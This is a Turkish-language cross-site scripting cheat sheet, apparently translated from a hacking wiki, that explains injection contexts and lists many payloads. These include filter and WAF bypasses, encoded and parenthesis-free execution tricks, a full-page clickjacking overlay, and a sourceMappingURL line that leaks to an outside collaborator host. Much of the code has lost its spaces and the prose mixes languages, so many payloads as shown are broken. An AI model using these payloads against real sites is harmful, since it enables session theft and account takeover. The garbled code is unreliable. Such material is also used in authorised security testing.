Kontrol ettiğiniz herhangi bir değerin (parametreler, yol, başlıklar?, çerezler?) HTML'de yansıtılıp yansıtılmadığını veya JS kodu tarafından kullanılıp kullanılmadığını kontrol edin.
Yansıtıldığı/kullanıldığı bağlamı bulun.
Eğer yansıtılmışsa
Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak yükü hazırlayın:
ham HTML içinde:
Yeni HTML etiketleri oluşturabilir misiniz?
javascript: protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
Koruma mekanizmalarını aşabilir misiniz?
HTML içeriği herhangi bir istemci tarafı JS motoru (AngularJS, VueJS, Mavo...) tarafından yorumlanıyorsa, İstemci Tarafı Şablon Enjeksiyonu istismar edebilirsiniz.
Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
Girdiğiniz değer şablon literalleri `` içinde mi?
Koruma mekanizmalarını aşabilir misiniz?
Javascript fonksiyonuçalıştırılıyor
Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: ?callback=alert(1)
Eğer kullanılıyorsa:
DOM XSS istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında yansıtılan sizin kontrolünüzdeki bir değerdir.
Ara yansıtılmış: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir Yansıtılmış XSS istismar edebilirsiniz.
Saklanan ve yansıtılan: Eğer kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir Saklanan XSS istismar edebilirsiniz.
JS ile erişilen: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir DOM XSS istismar edebilirsiniz.
Bağlamlar
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, farklı şekillerde rastgele JS kodu çalıştırabileceksiniz.
Ham HTML
Eğer girdiniz ham HTML sayfasında yansıtılıyorsa, JS kodunu çalıştırmak için bazı HTML etiketlerini istismar etmeniz gerekecek: <img , <iframe , <svg , <script ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.
Ayrıca, İstemci Tarafı Şablon Enjeksiyonu aklınızda bulunsun.
HTML etiketinin niteliği içinde
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
nitelikten ve etikten kaçmak (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: "><img [...]
Eğer nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız (> kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu çalıştıran bir olay oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
Eğer nitelikten kaçamıyorsanız (" kodlanmış veya silinmişse), o zaman hangi nitelikte değerinizin yansıtıldığına bağlı olarak değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu istismar edebilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir örnek, href niteliğidir; burada javascript: protokolünü kullanarak rastgele kod çalıştırabilirsiniz: href="javascript:alert(1)"
Eğer girdiniz "istismar edilemez etiketler" içinde yansıtılıyorsa, açığı istismar etmek için accesskey numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): `" accesskey="x" onclick="alert(1)" x="
Eğer bir sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdığına dair garip bir örnek:
Bu durumda, girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyası içinde veya bir niteliğin içinde javascript: protokolü kullanılarak yansıtılır:
Eğer <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, </script> enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, tarayıcı önce HTML etiketlerini ayrıştırdığı ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
Eğer bir JS dizesi içinde yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Eğer şablon dizeleri içinde yansıtılıyorsa, ${ ... } sözdizimini kullanarak JS ifadelerigömebilirsiniz: var greetings = `Hello, ${alert(1)}`
Unicode kodlama geçerli javascript kodu yazmak için çalışır:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting, kullanımdan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir. Gerçek hayatta görülen yaygın bir örnek: ?callback=callbackFunc.
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmektir (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
Eğer zayıfsa, sadece değeri göndererek bir uyarı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu uç noktaların genellikle içeriği doğrulaması ve yalnızca harfler, sayılar, noktalar ve alt çizgiler ([\w\._]) kullanmasına izin vermesi oldukça yaygındır.
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye erişebilmenizdir:
You can also try to Javascript fonksiyonlarını doğrudan tetiklemeyi: obj.sales.delOrders.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, aynı kökenden diğer sayfalar daha fazla işlem yapmak için daha ilginç bir DOM olacaktır.
Bu nedenle, farklı bir DOM'da bu zafiyeti istismar etmek içinSame Origin Method Execution (SOME) istismarı geliştirilmiştir:
JS kodu bazı saldırgan tarafından kontrol edilen verileri güvensiz bir şekilde kullanıyor, örneğin location.href. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
Bu tür XSS'ler her yerde bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, herhangi birbağlamda bağımlıdır. Bu tür rastgele JavaScript yürütmesiRCE elde etmek, istemcilerde ve sunucularda rastgeledosyaları okumak ve daha fazlası için bile istismar edilebilir.
Bazı örnekler:
Girdiğiniz HTML sayfasında yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken ilk şey < karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O karakteriyansıtmayı deneyin ve HTML kodlaması yapılıp yapılmadığını veya silinip silinmediğini ya da değişiklik olmadan yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bu durumu istismar edebileceksiniz.
Bu durumlar için ayrıca Müşteri Tarafı Şablon Enjeksiyonu'nu da aklınızda bulundurun.
Not: Bir HTML yorumu, ******** --> veya ****--!> ile kapatılabilir.
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi brute-force etmeniz gerekecek.
Hangi etiketlerin izin verildiğini bulduktan sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde özellikler/olayları brute-force etmeniz gerekecek.
Etiketler/Olaylar brute-force
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet adresine gidin ve Etiketleri panoya kopyala seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm olayları brute-force edebilirsiniz (aynı web sayfasında Olayları panoya kopyala seçeneğine tıklayın ve önceki prosedürü takip edin).
Özel etiketler
Eğer geçerli bir HTML etiketi bulamadıysanız, özel bir etiket oluşturmayı deneyebilir ve onfocus özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi # ile bitirmeniz gerekiyor, böylece sayfa o nesneye odaklanır ve kodu çalıştırır:
Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit hilelerle aşmayı deneyebilirsiniz:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Eğer zafiyeti istismar etmek için kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını gerektiriyorsa, Clickjacking'i istismar etmeyi deneyebilirsiniz (eğer sayfa zayıfsa).
Impossible - Dangling Markup
Eğer JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu düşünüyorsanız, Dangling Markup kontrol etmelisiniz çünkü zafiyeti JS kodu çalıştırmadan istismar edebilirsiniz.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Eğer bir HTML etiketinin içindeyseniz, denemek için ilk şey etiketten kaçmak ve önceki bölümde belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.
Eğer etiketten kaçamazsanız, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Attribute içinde
Özellikten kaçamazsanız bile (" kodlanıyor veya siliniyor), değerinizin hangi özellikte yansıtıldığına bağlı olarakdeğerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre bunu kötüye kullanabileceksiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.
Bir diğer ilginç örnek ise href özelliğidir; burada rastgele kod çalıştırmak için javascript: protokolünü kullanabilirsiniz: href="javascript:alert(1)"
HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma
HTML etiket özelliklerinin değerindeki HTML kodlanmış karakterlerçalışma zamanında çözülür. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Geri Dön </a>
Her türlü HTML kodlaması geçerlidir:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Özel Protokoller İçinde attribute
Burada bazı yerlerde javascript: veya data: protokollerini kullanarak rastgele JS kodu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarakjavascript: protokolü, href özniteliğini kabul eden herhangi bir etikette ve src özniteliğini kabul eden çoğu etikette (ancak <img> değil) kullanılabilir.
Ayrıca, bu durumlar için başka bir güzel numara var: Girdiğiniz javascript:... URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür. Yani, eğer tek tırnak kullanarak string'den kaçmak gerekiyorsa ve URL kodlandığını görüyorsanız, önemli değil, çalıştırma sırasında tek tırnak olarak yorumlanacaktır.
Not edin ki eğer her ikisini deURLencode + HTMLencode herhangi bir sırayla payload'ı kodlamak için kullanmaya çalışırsanız, bu çalışmayacaktır, ancak payload içinde karıştırabilirsiniz.
javascript: ile Hex ve Octal kodlama kullanma
Hex ve Octal kodlama'yı iframe'in src niteliği içinde (en azından) JS çalıştırmak için HTML etiketleri tanımlamak amacıyla kullanabilirsiniz:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Ters sekme yakalama
<atarget="_blank"rel="opener"
Eğer herhangi bir URL'yi <a href= etiketine, target="_blank" ve rel="opener" nitelikleri ile enjekte edebiliyorsanız, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
buradan: Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz, eğer kurbanıtuş kombinasyonunaikna edebilirseniz. Firefox Windows/Linux'ta tuş kombinasyonu ALT+SHIFT+X ve OS X'te CTRL+ALT+X'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
Eğer webin çok küçük bir kısmında bir XSS bulduysanız ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi ile küçük bir bağlantı), o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
bulursanız, bağlantımızı şu forma getirebilirsiniz
Bu durumda girdi JS kodunun bir .js dosyasındaki veya <script>...</script> etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya javascript: protokolünü kabul eden öznitelikler arasındaki yansıtılacak.
<script> etiketini kaçırma
Eğer kodunuz <script> [...] var input = 'yansıtılan veri' [...] </script> içinde yer alıyorsa, <script> etiketini kolayca kapatabilirsiniz:
Not edin ki bu örnekte tek tırnağı bile kapatmadık. Bunun nedeni HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
JS kodu içinde
Eğer <> temizleniyorsa, yine de diziyi kaçırabilirsiniz ve keyfi JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
Dize oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca ters tırnak`` kabul eder. Bu, ${ ... } sözdizimini kullanarak gömülü JS ifadeleri sağlamasına olanak tanıdığı için şablon dizeleri olarak bilinir.
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizesi içinde yansıtıldığını bulursanız, keyfi JS kodu çalıştırmak için ${ ... } sözdizimini kötüye kullanabilirsiniz:
Bu, şu şekilde kötüye kullanılabilir:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Kodun kodlanmış yürütülmesi
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript boşlukları
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Yorum içinde Javascript
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
Parantezsiz JavaScript
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM zafiyetleri
JS kodu, bir saldırgan tarafından kontrol edilen güvensiz verileri kullanıyor, örneğin location.href. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.
Açıklamanın uzatılması nedeniyleDOM zafiyetleri bu sayfaya taşındı:
Orada DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama bulacaksınız.
Ayrıca, bahsedilen gönderinin sonundaDOM Clobbering saldırıları hakkında bir açıklama bulmayı unutmayın.
Self-XSS'i Yükseltme
Cookie XSS
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer XSS için savunmasız bir alt alan adı bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz:
Bu tekniğin harika bir istismarını bu blog yazısında bulabilirsiniz.
Oturumunuzu yöneticilere gönderme
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Oturum Yansıtma
Eğer bazı self XSS bulursanız ve web sayfasında yöneticiler için oturum yansıtma varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalleştirilip normalleştirilmediğini kontrol edebilir ve bu işlevselliği korumaları atlatmak için istismar edebilirsiniz. Burada bir örnek bulun.
PHP FILTER_VALIDATE_EMAIL bayrağı Atlatma
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR toplu atama nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.
Form örneği (bu rapordan), eğer yükü gönderirseniz:
Eğer 302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi bulursanız, tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı deneyebilirsiniz. Bu kolay değildir çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
bu raporda ve şu raporda Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü inceleyip çalıştırmasına izin verip vermediğini görebilirsiniz.
Geçmişte bilinen protokoller: mailto://, //x:1/, ws://, wss://, boş Konum başlığı, resource://.
Sadece Harfler, Sayılar ve Noktalar
Eğer javascript'in çalıştıracağıcallback'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. Bu yazının bu bölümünü okuyun bu davranışı nasıl kötüye kullanacağınızı öğrenmek için.
XSS için Geçerli <script> İçerik Türleri
(buradan alınmıştır) Eğer application/octet-stream gibi bir içerik türü ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
‘https://uploader.c.hc.lc/uploads/xxx' adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?
<scripttype="???"></script>
Cevap şudur:
modül (varsayılan, açıklanacak bir şey yok)
webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip .wbn dosyasına paketleyebileceğiniz bir özelliktir.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Bu davranış, bu yazıda bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, bu da XSS tetikleyebilir.
speculationrules: Bu özellik esasen önceden render etmenin neden olduğu bazı sorunları çözmek içindir. Şöyle çalışır:
Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve rastgele JS çalıştırmak mümkündür:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Desenleri
"some {{template}} data".replace("{{template}}", <user_input>) gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için özel dize değiştirmeleri kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin, bu yazıda bu, bir JSON dizesini bir script içinde kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin:
